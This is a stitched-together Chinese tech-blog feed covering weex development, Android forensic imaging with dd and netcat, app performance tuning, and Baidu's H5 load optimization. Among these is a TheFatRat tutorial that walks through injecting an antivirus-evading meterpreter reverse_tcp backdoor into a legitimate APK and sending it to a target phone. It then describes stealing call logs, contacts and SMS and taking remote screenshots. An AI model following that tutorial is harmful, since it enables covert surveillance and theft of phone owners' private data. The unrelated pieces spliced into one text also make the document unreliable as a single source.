前面有提到,weex 的页面目前可以采用 vue 或者 Rax 编写。对于 Vue 和 Rax 的语法这里不做陈述。这里主要总结了容易在实际开发中卡住小伙伴的几个问题。

1) 如何判断一个页面是否用 weex 来实现?

可以认为所有的新页面都可以采取 weex 来开发,区别在于这个页面使用的 native 能力有多少。可以通过自定义 Module 来调用 native 的能力,通过自定义 component 来使用 native 的组件;

2) 什么时候需要自定义 Module?

  • 需要原生的能力的时候,比如:

    • 要调用系统选择图片的接口
    • 调用打电话、发短信的功能
    • 打开其他应用
  • 调用已有的业务逻辑,比如:

    • 加密、解密逻辑
    • 登录逻辑

3) 什么时候需要自定义 component?

  • 如果一个组件已经使用 native 实现,为了保持统一一致,那么可以将原有的组件封装成 component
  • 如果一个组件不能使用 weex 实现,比如地图组件、超长图显示等

4) 多个弹层的布局如何实现?

weex 页面渲染的层级,是从上而下的,越在下面的布局,显示越上层。所以要作为弹层的布局,就把它放到最下面。

5) 页面的动画如何实现?

官方 weex sdk 已经封装了 animation 的 module 可以直接使用,复杂的动画可以使用 BindingX 实现。

6) weex 的代码如何复用?

代码都可以抽离出组件。

  • 作为一个 UI 组件,抽离成一个组件,向外暴露属性参数和事件接口;
  • 作为独立的 js 函数,抽离成一个 js 供其他页面引入;
  • css 样式也可以抽离成一个 css 文件,供其他页面引入;
  • 如果包含多个组件形式,可以通过 mixins 来引入。

4. 构建和打包平台

我们开发了以项目为单位的构建平台:

  • 每个项目可以添加多个分支,可以是不同仓库的分支。因为一个项目有可能是跨团队跨模块的,但是需要一起发布。
  • 构建通过 webpack 构建,构建之后,支持发布线下存储和线上 cdn

我们还开发了以应用为单位的 weex 发布平台:

  • 这里的应用是一个抽象概念,不是传统的“应用”,可以理解成模块
  • 业务方可以在构建平台构建完成后,一键跳转到发布平台进行发布,除了需要第一次填写最低支持的版本号,其他均无需操作。
  • 发布平台支持灰度发布、全量发布和回滚。
  • 发布平台会展示 weex 在端上的使用情况,渲染时间、渲染错误、下载时间等

四、遇到的问题以及解决方案

在开发过程中,很多问题,可以通过阅读源码来解决,比如:

  • 使用 iconfont 的时候,是否已支持缓存?

    答:已支持,包括内存缓存和文件缓存,内存缓存使用 familyname 来做 key,文件缓存使用 md5(url) 来做本地文件名

  • module实现的函数能不能返回参数?

    答:module 的函数氛围 UIThread 和 JSThread,JSThread 对于 js 线程来说是同步的,支持直接返回参数;UIThread 对于 JS 线程来说是异步的,不支持直接返回参数,只能使用 callback

另外,很多常见的问题,我们已经在 ZanWeexSDK 进行了解决,包括实现动态化、多模块的支持、缓存管理、Hot Reloading、日志查看、页面适配、参数传递等。

此外,还会有一些常见的问题,在此罗列一下:

  1. 配置的更新机制是怎样的?更新失败,如何打开 weex 页面?

    答: 配置的更新接口开放给业务方调用,由业务方决定什么时候调用更新接口;SDK 里做了三种处理,来尽量保证配置可以更新成功:

    1)配置接口拉取失败后,会有三次重试;

    2)网络从无网变成有网时,sdk 会检查配置是否已拉取,如果未拉取就主动拉取

    3)允许业务方内置配置和 js 文件,当拉取失败后,SDK里会从内置配置里读取

  2. 配置的版本管理是怎样的?

    答:配置每次发布的时候,都会指定该发布支持的 App 最低版本号。每次请求,会携带 App 版本号,服务端只会返回符合该版本号的最新配置。

  3. 支持不支持屏幕旋转?

    答:答案是支持的。旋转之后,屏幕变成了横屏,weex 就按照横屏的尺寸来渲染,问题是只要你写的页面符合这种变化就可以了,跟 native 来实现页面没有什么区别。

五、未来还要继续做的事情

  1. 组件库的建设
  2. 性能统计,比如帧率、内存、CPU
  3. 配置和js文件的增量更新、推送更新
  4. 降级处理

图片描述

技术分享 | 看我如何使用TheFatRat黑掉你的Android手机

$
0
0

严正声明:本文仅限于技术讨论和教育目的,严禁用于其他用途。

前言

在这篇文章中,我们将教大家如何使用TheFatRat这款工具。这款工具可以帮大家构建后门程序,以及执行后渗透利用攻击等等。在主流Payload的帮助下,这款工具可以生成质量非常高的恶意软件,而这些恶意软件可以在Windows、 Android和macOS平台上运行。

TheFatRat

值得一提的是,TheFatRat所生成的恶意软件能够 绕过反病毒产品,而这将允许攻击者拿到Meterpreter会话。

自动化Metasploit功能

1. 针对Windows、Linux、Mac和Android创建后门;

2. 后门可绕过反病毒产品;

3. 检测/开启Metasploit服务;

4. 针对Windows、Linux、Android和macOS创建meterpreterreverse_tcp Payload;

5. 开启多个meterpreter reverse_tcp监听器;

6. Searchsploit快速搜索;

7. 绕过反病毒产品;

8. 使用其他技术创建后门;

9. 自动运行监听器脚本;

工具下载

下载地址:【 GitHub传送门

下载命令:

git clone https://github.com/Screetsec/TheFatRat.git

cd TheFatRat

接下来,我们需要提供执行权限并运行setup.sh。

chmod +x setup.sh && ./setup.sh

安装过程大概需要10到15分钟,程序会自动检测缺失的组件,并自动完成依赖安装。

安装完成之后,程序会显示一个Payload创建列表:

Payload创建列表

由于这篇文章主要介绍如何在原始APK文件中加入后门,所以我们需要选择第5个选项。

选择第5个选项

与此同时,我们还需要下载一个Android应用程序安装文件-APK文件,然后输入文件路径。

完成之后,我们要选择需要的Meterpreter,这里选择reverse_tcp。

reverse_tcp

接下来,你需要选择APK创建工具:

APK创建工具

APK创建工具

在APK的构建过程中,它会对原始APK进行反编译,并插入Payload,然后重新编译新的应用程序。它会使用混淆方法来嵌入Payload,并添加数字签名。

创建完成之后,你就可以把APK文件发送给目标手机了。接下来,我们需要通过msfconsole来设置设置哦我们的meterpreter会话。

meterpreter会话

安装完成之后,你将会拿到meterpreter会话,然后完成设备的控制操作。

设备的控制操作

输入“help”命令能够查看所有可执行的命令:

可执行的命令

你可以导出通话记录、通讯录、短信消息,伸直还可以远程截屏。

远程截屏

* 参考来源: gbhackers,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Android取证:使用ADB和DD对文件系统做镜像

$
0
0

AndroidForensic.jpg

从本文开始我将为大家带来一系列与数字取证相关的文章,并将重点关注移动设备方面的取证技术。在这篇文章中,我将为大家分享一些关于我对Android设备镜像采集的想法。在Android设备上,有两种我们可以执行的镜像采集类型:

实时采集:在正在运行的设备上执行。通常,分析人员会使用各种工具获取root权限,并使用DD提取镜像;

死采集:在设备上执行启动到另一个状态。例如,如果设备安装了ClockwordMod,则分析人员可以重启设备恢复并获取root shell。

在本文中我将为大家展示如何执行Android data分区的实时采集。

注意:为了执行过程的顺利,设备必须已获取root权限。

Root Android

如今,root Android设备已成为一种非常普遍的现象,在我的取证工作中我经常会碰到已root的手机设备。此外,在某些情况下为了提取某些数据,取证人员必须要自己root设备。Root的过程特定于每个手机型号,Android版本以及内部版本号,因此想要成功root必须根据你的手机型号找到合适的工具。

大多数现代Android手机都可以使用一款名为KingoRoot的工具获取root权限,如果你的手机并不适用(bootloader锁定,Knox等),你可以在 XDA Developers上寻求帮助。

Android root软件有时会使用恶意软件重新打包一些可能不需要的程序,这可能会改变文件系统,必须在分析过程中进行过滤。因此,为了安全起见我建议大家,只在官方方法不起作用时再使用这些软件。

镜像 /data 分区

我们将使用“dd”工具来完成我们的工作。默认情况下,“dd”在Android的“/system/bin”目录下。

为了限制设备文件系统的更改,镜像将使用NetCat创建的隧道传输到工作站。

因此,root后的第一步必须先安装Busybox( 在这里下载),这是一个集成了三百多个最常用Linux命令和工具的软件。

下载busybox Apk后,使用adb命令在设备上进行安装:

adb -d install BusyBox.apk

然后,连接到手机并检查root访问权限:

adb -d shell
ls /data
su
ls /data

我们使用 ls /data来测试我们是否可以访问受保护的目录。

第一次运行它时,应该会出现失败的情况。我们使用 su命令将用户切换到root。然后,再次使用 ls /data命令进行测试看现在我们是否可以访问受保护的目录。

接下来,我们需要检查设备上已安装的分区:

root@VF-895N:/ # mount
rootfs / rootfs ro,relatime 0 0
tmpfs /dev tmpfs rw,seclabel,nosuid,relatime,size=450904k,nr_inodes=112726,mode=755 0 0
devpts /dev/pts devpts rw,seclabel,relatime,mode=600 0 0
none /dev/cpuctl cgroup rw,relatime,cpu 0 0
adb /dev/usb-ffs/adb functionfs rw,relatime 0 0
proc /proc proc rw,relatime 0 0
sysfs /sys sysfs rw,seclabel,relatime 0 0
selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
none /sys/fs/cgroup tmpfs rw,seclabel,relatime,size=450904k,nr_inodes=112726,mode=750,gid=1000 0 0
none /acct cgroup rw,relatime,cpuacct 0 0
tmpfs /mnt/asec tmpfs rw,seclabel,relatime,size=450904k,nr_inodes=112726,mode=755,gid=1000 0 0
tmpfs /mnt/obb tmpfs rw,seclabel,relatime,size=450904k,nr_inodes=112726,mode=755,gid=1000 0 0
/dev/block/bootdevice/by-name/system /system ext4 ro,seclabel,relatime,discard,data=ordered 0 0
/dev/block/bootdevice/by-name/userdata /data ext4 rw,seclabel,nosuid,nodev,relatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/bootdevice/by-name/cache /cache ext4 rw,seclabel,nosuid,nodev,relatime,data=ordered 0 0
/dev/block/bootdevice/by-name/persist /persist ext4 rw,seclabel,nosuid,nodev,relatime,data=ordered 0 0
/dev/block/bootdevice/by-name/tctpersist /tctpersist ext4 rw,seclabel,nosuid,nodev,relatime,data=ordered 0 0
/dev/block/bootdevice/by-name/modem /firmware vfat ro,context=u:object_r:firmware_file:s0,relatime,uid=1000,gid=1000,fmask=0337,dmask=0227,codepage=437,iocharset=iso8859-1,shortname=lower,errors=remount-ro 0 0
/dev/fuse /storage/uicc1 fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /storage/uicc0 fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/shell/emulated fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /storage/usbotg fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /storage/sdcard0 fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/block/vold/179:65 /mnt/media_rw/sdcard1 vfat rw,dirsync,nosuid,nodev,noexec,relatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro 0 0
/dev/block/vold/179:65 /mnt/secure/asec vfat rw,dirsync,nosuid,nodev,noexec,relatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro 0 0
/dev/fuse /storage/sdcard1 fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0

我们重点来关注data分区,在本例中为“ /dev/block/bootdevice/by-name/userdata”。

接下来,我们需要设置工作站和移动设备之间的连接路由,转发端口为8888。

在工作站上运行:

adb forward tcp:8888 tcp:8888

现在让我们使用“dd”启动镜像过程并使用netcat管道传输数据。

在手机设备的root shell下运行:

root@VF-895N:/ #dd if=/dev/block/bootdevice/by-name/userdata | busybox nc -l -p 8888

并在取证工作站上运行:

nc 127.0.0.1 8888 > android_data.dd

镜像过程完成后,将如下图所示:

image-1.png

然后,我们可以使用sleuthkit或Autopsy对镜像进行分析。

image-2.png

*参考来源: andreafortuna,FB小编secist编译,转载请注明来自FreeBuf.COM

Android开发优化的几点建议

$
0
0

安卓开发大军浩浩荡荡,经过近十年的发展,Android技术优化日异月新,如今Android 9.0 已经发布,Android系统性能也已经非常流畅,可以在体验上完全媲美iOS。
但是,到了各大厂商手里,改源码、自定义系统,使得Android原生系统变得鱼龙混杂,然后到了不同层次的开发工程师手里,因为技术水平的参差不齐,即使很多手机在跑分软件性能非常高,打开应用依然存在卡顿现象。另外,随着产品内容迭代,功能越来越复杂,UI页面也越来越丰富,也成为流畅运行的一种阻碍。综上所述,对APP进行性能优化已成为开发者该有的一种综合素质,也是开发者能够完成高质量应用程序作品的保证。

在Android应用优化方面,我们主要从以下4个方面进行优化:

  1. 稳定(内存溢出、崩溃)
  2. 流畅(卡顿)
  3. 耗损(耗电、流量、网络)
  4. 安装包(APK瘦身)

内存优化

由于Android应用的沙箱机制,每个应用所分配的内存大小是有限度的,内存太低就会触发LMK(Low Memory Killer)机制,进而会出现闪退现象。如果要对内存进行优化,就需要先搞懂java的内存是如何分配和回收的,关于这方面,可以重点参考下面的内容:
Java 垃圾回收器的GC机制,看这一篇就够了
Android 内存泄漏常见案例及分析
Android应用内存泄漏的定位、分析与解决策略

分析工具

Memory Monitor 工具

Memory Monitor是Android Studio自带的一个内存监视工具,它可以很好地帮助我们进行内存实时分析。通过点击Android Studio右下角的Memory Monitor标签,打开工具可以看见较浅蓝色代表free的内存,而深色的部分代表使用的内存从内存变换的走势图变换,可以判断关于内存的使用状态,例如当内存持续增高时,可能发生内存泄漏;当内存突然减少时,可能发生GC等。

Memory Analyzer工具

MAT 是一个快速,功能丰富的 Java Heap 分析工具,通过分析 Java 进程的内存快照 HPROF 分析,从众多的对象中分析,快速计算出在内存中对象占用的大小,查看哪些对象不能被垃圾收集器回收,并可以通过视图直观地查看可能造成这种结果的对象。

LeakCanary工具

LeakCanary是一个内存监测工具,该工具是Square公司出品的,所谓Square出品必属精品,LeakCanary的官方地址为 https://github.com/square/lea...,我们可以在Gradle里引用它。

Android Lint 工具

Android Lint 是Android Sutido种集成的一个Android代码提示工具,它可以给布局、代码提供非常强大的帮助。如果在布局文件中写了三层冗余的LinearLayout布局,就会在编辑器右边看到提示。当然这个是一个简单的举例,Lint的功能非常强大,大家应该养成写完代码查看Lint的习惯,这不仅让你及时发现代码种隐藏的一些问题,更能让你养成良好的代码风格,要知道,这些Lint提示可都是Google大牛们汗水合智慧的结晶。

其他建议

在Android应用开发中,影响稳定性的原因很多,比如内存使用不合理、代码异常场景考虑不周全、代码逻辑不合理等,都会对应用的稳定性造成影响。
其中最常见的两个场景是:Crash 和 ANR,这两个错误将会使得程序无法使用。所以做好Crash监控,把崩溃信息、异常信息收集记录起来,以便后续分析;合理使用主线程处理业务,不要在主线程中做耗时操作,防止ANR程序无响应发生。
具体可以参考下面的文章链接:
Android系统稳定性问题总结

交互优化

交互是与用户体验最直接的方面,交互场景大概可以分为四个部分:UI 绘制、应用启动、页面跳转、事件响应。对于上面四个方面,大致可以从以下两个方面来进行优化:

  • 界面绘制:主要原因是绘制的层级深、页面复杂、刷新不合理,由于这些原因导致卡顿的场景更多出现在 UI 和启动后的初始界面以及跳转到页面的绘制上。
  • 数据处理:导致这种卡顿场景的原因是数据处理量太大,一般分为三种情况,一是数据在处理 UI 线程,二是数据处理占用 CPU 高,导致主线程拿不到时间片,三是内存增加导致 GC 频繁,从而引起卡顿。

我们知道,Android的绘制需要经过onMeasure、onLayout、onDraw等几个步骤,所以布局的层级越深、元素越多、耗时也就越长。还有就是Android 系统每隔 16ms 发出 VSYNC 信号,触发对 UI 进行渲染,如果每次渲染都成功,这样就能够达到流畅的画面所需的 60FPS。如果某个操作花费的时间是 24ms ,系统在得到 VSYNC 信号时就无法正常进行正常渲染,这样就发生了丢帧现象。

之所以出现卡顿现象,是因为有两个原因:

  • 绘制任务太重,绘制一帧内容耗时太长
  • 主线程太忙,根据系统传递过来的 VSYNC 信号来时还没准备好数据导致丢帧

基于问题产生的原因,我们可以从以下几个方面进行优化:

布局优化

在Android种系统对View进行测量、布局和绘制时,都是通过对View数的遍历来进行操作的。如果一个View数的高度太高就会严重影响测量、布局和绘制的速度。Google也在其API文档中建议View高度不宜哦过10层。现在版本种Google使用RelativeLayout替代LineraLayout作为默认根布局,目的就是降低LineraLayout嵌套产生布局树的高度,从而提高UI渲染的效率。
在布局优化方面,我们可以从以下几个方面进行优化:

  • 布局复用,使用 <include>标签重用layout;
  • 提高显示速度,使用 <ViewStub>延迟View加载;
  • 减少层级,使用 <merge>标签替换父级布局;
  • 注意使用wrap_content,会增加measure计算成本;
  • 删除控件中无用属性;

渲染优化

过度绘制是指在屏幕上的某个像素在同一帧的时间内被绘制了多次。在多层次重叠的 UI 结构中,如果不可见的 UI 也在做绘制的操作,就会导致某些像素区域被绘制了多次,从而浪费了多余的 CPU 以及 GPU 资源。我们可以通过开启手机的过渡绘制功能来检测页面是否被过度绘制。

为了避免过度绘制,我们可以从以下几个方面进行优化:

  • 布局上的优化,移除 XML 中非必须的背景,移除 Window 默认的背景、按需显示占位背景图片。
  • 自定义View优化,使用 canvas.clipRect()来帮助系统识别那些可见的区域,只有在这个区域内才会被绘制。

启动优化

应用一般都有闪屏页,优化闪屏页的 UI 布局,可以通过 Profile GPU Rendering 检测丢帧情况。
也可以通过启动加载逻辑优化。可以采用分布加载、异步加载、延期加载策略来提高应用启动速度。
数据准备。数据初始化分析,加载数据可以考虑用线程初始化等策略。

刷新优化

Android开发中,通常是异步操作页面的,因此需要可以从刷新优化上来优化应用,主要有两个原则:

  • 减少刷新次数;
  • 缩小刷新区域;

动画优化

在实现动画效果时,需要根据不同场景选择合适的动画框架来实现。有些情况下,可以用硬件加速方式来提供流畅度。

耗电优化

在移动设备中,电池的重要性不言而喻,没有电什么都干不成。对于操作系统和设备开发商来说,耗电优化一致没有停止,去追求更长的待机时间,而对于一款应用来说,并不是可以忽略电量使用问题,特别是那些被归为“电池杀手”的应用,最终的结果是被卸载。因此,应用开发者在实现需求的同时,需要尽量减少电量的消耗。

在 Android5.0 以前,在应用中测试电量消耗比较麻烦,也不准确,5.0 之后专门引入了一个获取设备上电量消耗信息的 API,即Battery Historian。Battery Historian 是一款由 Google 提供的 Android 系统电量分析工具,和Systrace 一样,是一款图形化数据分析工具,直观地展示出手机的电量消耗过程,通过输入电量分析文件,显示消耗情况,最后提供一些可供参考电量优化的方法。

网络优化

对于网络的优化,可以从以下几个方面着手进行:

图片网络优化

例如,针对网络情况,返回不同的图片数据,一种是高清大图,一种是正常图片,一种是缩略小图。当用户处于wifi下给控件设置高清大图,当4g或者3g模式下加载正常图片,当弱网条件下加载缩略图。

网络数据优化

移动端获取网络数据优化可以从以下几点着手:

  • 连接复用:节省连接建立时间,如开启 keep-alive。

对于Android来说默认情况下HttpURLConnection和HttpClient都开启了keep-alive。只是2.2之前HttpURLConnection存在影响连接池的Bug,具体可见:Android HttpURLConnection及HttpClient选择

  • 请求合并:即将多个请求合并为一个进行请求,比较常见的就是网页中的CSS Image Sprites。如果某个页面内请求过多,也可以考虑做一定的请求合并。
  • 减少请求数据的大小:对于post请求,body可以做gzip压缩的,header也可以做数据压缩。返回数据的body也可以做gzip压缩,body数据体积可以缩小到原来的30%左右。

异常拦截优化

在获取数据的流程中,访问接口和解析数据时都有可能会出错,我们可以通过拦截器在这两层拦截错误。

  • 在访问接口时,我们不用设置拦截器,因为一旦出现错误,Retrofit会自动抛出异常。比如,常见请求异常404,500,503等等。
  • 在解析数据时,我们设置一个拦截器,判断Result里面的code是否为成功,如果不成功,则要根据与服务器约定好的错误码来抛出对应的异常。比如,token失效,禁用同账号登陆多台设备,缺少参数,参数传递异常等等。

APK瘦身

应用安装包大小对应用使用没有影响,但应用的安装包越大,用户下载的门槛越高,特别是在移动网络情况下,用户在下载应用时,对安装包大小的要求更高,因此,减小安装包大小可以让更多用户愿意下载和体验产品。

在Android Studio工具栏里,打开build–>Analyze APK, 选择要分析的APK包 ,可以看到apk的相关信息,如下所示:
在这里插入图片描述
Android的apk主要有以下信息构成:

  • assets文件夹。存放一些配置文件、资源文件,assets不会自动生成对应的 ID,而是通过 AssetManager 类的接口获取。
  • res。res 是 resource 的缩写,这个目录存放资源文件,会自动生成对应的 ID 并映射到 .R 文件中,访问直接使用资源ID。
  • META-INF。保存应用的签名信息,签名信息可以验证 APK 文件的完整性。
  • AndroidManifest.xml。这个文件用来描述 Android 应用的配置信息,一些组件的注册信息、可使用权限等。
  • classes.dex。Dalvik 字节码程序,让 Dalvik 虚拟机可执行,一般情况下,Android 应用在打包时通过Android SDK 中的 dx 工具将 Java 字节码转换为 Dalvik 字节码。
  • resources.arsc。记录着资源文件和资源 ID 之间的映射关系,用来根据资源 ID 寻找资源。

基于上面的组成部分,那么优化也可以从以下几个方面着手:

  • 代码混淆。使用proGuard 代码混淆器工具,它包括压缩、优化、混淆等功能。
  • 资源优化。比如使用 Android Lint 删除冗余资源,资源文件最少化等。
  • 图片优化。比如利用 AAPT 工具对 PNG 格式的图片做压缩处理,降低图片色彩位数等。
  • 避免重复功能的库,使用 WebP图片格式等。
  • 插件化,比如功能模块放在服务器上,按需下载,可以减少安装包大小。

百度APP-Android H5首屏优化实践

$
0
0

一、背景

百度App自2016年上半年尝试Feed流业务形态,至2017年下半年,历经10个版本的迭代,基本完成了产品形态的初步探索。在整个Feed流形态的闭环中,新闻详情页(文中称为落地页)作为重要的组成部分,如果打开页面后,loading时间过长,会严重影响用户体验。因此我们针对落地页这种H5的首屏展现速度进行了长期优化,本文会详细阐述整个优化思路和技术细节

二、方法论

通过分析用户反馈,发现当时的落地页从点击到首屏展现平均需要3s的时间,每次用户兴致勃勃的想要浏览感兴趣的文章时,却因为过长的loading时间,而不耐烦的选择了back。为了提升用户体验,我们进行了以下工作:
图片描述

  • 通过用户反馈、QA测试等多种渠道,发现落地页首屏加载慢问题
  • 定义首屏性能指标(首屏含图,以图片加载为准;首屏无图,以文字渲染结束为准)
  • NA、内核、H5三方针对自己加载H5的流程进行划分并埋点上报
  • 统计侧根据三端上报的数据产出平均值、80分位值的性能报表
  • 分析性能报表,找到不合理的耗时点,并进行优化
  • 以AB实验方式,对比优化前后的性能报表数据,产出优化效果,同时评估用户体验等相关指标
  • 按照长期优化的方式,不断分析定位性能瓶颈点并优化,以AB实验方式评估效果,最终达到我们的落地页秒开目标

三、Hybrid方案简述及性能瓶颈

(一)方案简述
优化之前,我们与业内大多数的App一样,在落地页的技术选型中,为了满足跨平台和动态性的要求,采用了Hybrid这种比较成熟的方案。Hybrid,顾名思义,即混合开发,也就是半原生半Web的方式。页面中的复杂交互功能采用端能力的方式,调用原生API来实现。成本低,灵活性较好,适合偏信息展示类的H5场景。
下面用一张图来表示百度App中Hybrid的实现机制和加载流程
图片描述
(二)性能瓶颈
为了分析Hybrid方案首屏展现较慢的原因,找到具体的性能瓶颈,客户端和前端分别针对各自加载过程中的关键节点进行埋点统计,并借由性能监控平台日志进行展示,下图是截取的某一天全网用户的落地页首屏展现速度80分位数据
图片描述
各阶段性能点可以按Hybrid加载流程进行划分,可以看到,从点击到首屏展现,大致需要2600ms,其中初始化NA组件需要350ms,Hybrid初始化需要170ms,前端H5执行JS获取正文并渲染需要1400ms,完成图片加载和渲染需要700ms的时间
我们具体分析下四个阶段的性能损耗主要发生在哪些地方:
1) 初始化NA组件
从点击到落地页框架初始化完成,主要工作为初始化WebView,尤其是第一次进入(WebView首次创建耗时均值为500ms)
2) Hybrid初始化
这个阶段的工作主要包含两部分,一个是根据调起协议中传入的相关参数,校验解压下发到本地的Hybrid模板,大致需要100ms的时间;此外,WebView.loadUrl执行后,会触发对Hybrid模板头部和Body的解析
3) 正文加载&渲染
执行到这个阶段,内核已经完成了对Hybrid模板头部和body的解析,此时需要加载解析页面所需的JS文件,并通过JS调用端能力发起对正文数据的请求,客户端从Server拿到数据后,用JsCallback的方式回传给前端,前端需要对客户端传来的JSON格式的正文数据进行解析,并构造DOM结构,进而触发内核的渲染流程;此过程中,涉及到对JS的请求,加载、解析、执行等一系列步骤,并且存在端能力调用、JSON解析、构造DOM等操作,较为耗时
4) 图片加载
第(3)步中,前端获取到的正文数据包含落地页的图片地址集,在完成正文的渲染后,需要前端再次执行图片请求的端能力,客户端这边接收到图片地址集后按顺序请求服务器,完成下载后,客户端会调用一次IO将文件写入缓存,同时将对应图片的本地地址回传给前端,最终通过内核再发起一次IO操作获取到图片数据流,进行渲染;总体来看,图片渲染的时间依赖前端的解析效率、端能力执行效率、下载速度、IO速度等因素
通过分析,延伸出对Hybrid方案的一些思考:

  • 渲染为什么这么慢
  • 图片请求能否提前
  • 串行逻辑是否可以改为并行
  • WebView初始化时间是否还可以优化

四、百度App落地页优化方案

(一)CloudHybrid
基于之前对Hybrid性能的分析,我们内部孵化了一个叫做CloudHybrid的项目,用来解决落地页首屏展现慢的痛点;一句话来形容CloudHybrid方案,就是采用后端直出+预取+拦截的方式,简化页面渲染流程,提前化&并行化网络请求逻辑,进而提升H5首屏速度

1.后端直出-快速渲染首屏
a. 页面静态直出
对于Hybrid方案来说,端上预置和加载的html文件只是一个模板文件,内部包含一些简单的JS和CSS文件,端上加载HTML后,需要执行JS通过端能力从Server异步请求正文数据,得到数据后,还需要解析JSON,构造DOM,应用CSS样式等一系列耗时的步骤,最终才能由内核进行渲染上屏;为了提升首屏展示速度,可以利用后端渲染技术(smarty)对正文数据和前端代码进行整合,直出首屏内容,直出后的html文件包含首屏展现所需的内容和样式,内核可以直接渲染;首屏外的内容(包括相关推荐、广告等)可以在内核渲染完首屏后,执行JS,并利用preact进行异步渲染

百度APP直出方案:

图片描述
对于客户端来说,从CDN中拉取到的html都是已经在server渲染好首屏的,这样的内容无需二次加工,展现速度可以大大提升,仅直出一点,手百Feed落地页的首屏性能数据就从2600ms优化到2000ms以内
b. 动态信息回填
为了保证首屏渲染结果的准确性,除了在server侧对正文内容和前端代码进行整合外,还需要一些影响页面渲染的客户端状态信息,例如首图地址、字体大小、夜间模式等
这里我们采用动态回填的方式,前端会在直出的html中定义一系列特殊字符,用来占位;客户端在loadUrl之前,会利用正则匹配的方式,查找这些占位字符,并按照协议映射成端信息;经过客户端回填处理后的html内容,已经具备了展现首屏的所有条件
c. 动画间渲染
先看下优化前后效果(上图:优化前;下图:优化后):
优化前图片描述
正常来说,直出后的页面展现速度已经很快了;但在实际开发中,你可能会遇到即使自己的数据加载速度再快,仍然会出现Activity切换过程中无法渲染H5页面的问题(可以通过开发者模式放慢动画时间来验证),产生视觉上的白屏现象(如上面上图)
我们通过研究源码发现,系统处理view绘制的时候,有一个属性setDrawDuringWindowsAnimating,从命名可以看出来,这个属性是用来控制window做动画的过程中是否可以正常绘制,而恰好在Android 4.2到Android N之间,系统为了组件切换的流程性考虑,该字段为false,我们可以利用反射的方式去手动修改这个属性,改进后的效果见上面下图


/**
     * 让 activity transition 动画过程中可以正常渲染页面
     */
    private void setDrawDuringWindowsAnimating(View view) {
        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.M
                || Build.VERSION.SDK_INT < Build.VERSION_CODES.JELLY_BEAN_MR1) {
            // 1 android n以上  & android 4.1以下不存在此问题,无须处理
            return;
        }
        // 4.2不存在setDrawDuringWindowsAnimating,需要特殊处理
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.JELLY_BEAN_MR1) {
            handleDispatchDoneAnimating(view);
            return;
        }
        try {
            // 4.3及以上,反射setDrawDuringWindowsAnimating来实现动画过程中渲染
            ViewParent rootParent = view.getRootView().getParent();
            Method method = rootParent.getClass()
                    .getDeclaredMethod("setDrawDuringWindowsAnimating", boolean.class);
            method.setAccessible(true);
            method.invoke(rootParent, true);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    /**
     * android4.2可以反射handleDispatchDoneAnimating来解决
     */
    private void handleDispatchDoneAnimating(View paramView) {
        try {
            ViewParent localViewParent = paramView.getRootView().getParent();
            Class localClass = localViewParent.getClass();
            Method localMethod = localClass.getDeclaredMethod("handleDispatchDoneAnimating");
            localMethod.setAccessible(true);
            localMethod.invoke(localViewParent);
        } catch (Exception localException) {
            localException.printStackTrace();
        }
    }

2.智能预取-提前化网络请求
经过直出的改造之后,为了更快的渲染首屏,减少过程中涉及到的网络请求耗时,我们可以按照一定的策略和时机,提前从CDN中请求部分落地页html,缓存到本地,这样当用户点击查看新闻时,只需从缓存中加载即可

手百预取服务架构图

图片描述
目前手百预取服务支撑着图文、图集、视频、广告等多个业务方,根据业务场景的不同,触发时机可以自定义,也可以遵循我们默认的刷新、滑停、点击等时机,此外,我们会对预取内容进行优先级排序(根据资源类型、触发时机),会动态的根据当前手机状态信息进行并发控制和流量控制,在一些降级场景中,server还可以通过云控的方式来控制是否预取以及预取的数量
3.通用拦截-缓存共享、请求并行
在落地页中,除了文本外,图片也是重要的组成部分。直出解决了文字展现的速度问题,但图片的加载渲染速度仍不理想,尤其是首屏中带有图片的文章,其首图的渲染速度才是真正的首屏时间点
传统Hybrid方案,前端页面通过端能力调用NA图片下载能力来缓存和渲染图片,虽然实现了客户端和前端图片缓存的共享,但由于JS执行时机较晚,且多次端能力调用存在效率问题,导致图片渲染延后
图片描述
初步改进方案:为了提升图片加载速度,减少JS调用耗时,改为纯H5请求图片,速度虽然有所提升,但是客户端和前端缓存无法共享,当点击图片调起NA图片查看器时,无法做到沉浸式效果,且仍需重复下载一次图片,造成流量浪费
终极方案:借由内核的shouldInterceptRequest回调,拦截落地页图片请求,由客户端调用NA图片下载框架进行下载,并以管道方式填充到内核的WebResourceResponse中
图片描述
此方案在满足图片渲染速度的同时,解耦了客户端和前端代码,客户端充当server角色,对图片进行请求和缓存控制,保证前端和客户端可以共用图片缓存,改造后的方案,非首图展现流程,页面不卡顿,首屏80分位值缩短80ms~150ms
效果如下(上图:优化前Hybrid方案;下图:优化后通用拦截方案):
图片描述图片描述
4.整体方案流程
图片描述
(二)新的优化尝试
1.WebView预创建
为了节省WebView的性能损耗,我们可以在合适时机提前创建好WebView,并存入缓存池,当页面需要显示内容时,直接从缓存池获取创建好的WebView,根据性能数据显示,WebView预创建可以提升首屏渲染时间200ms+
图片描述
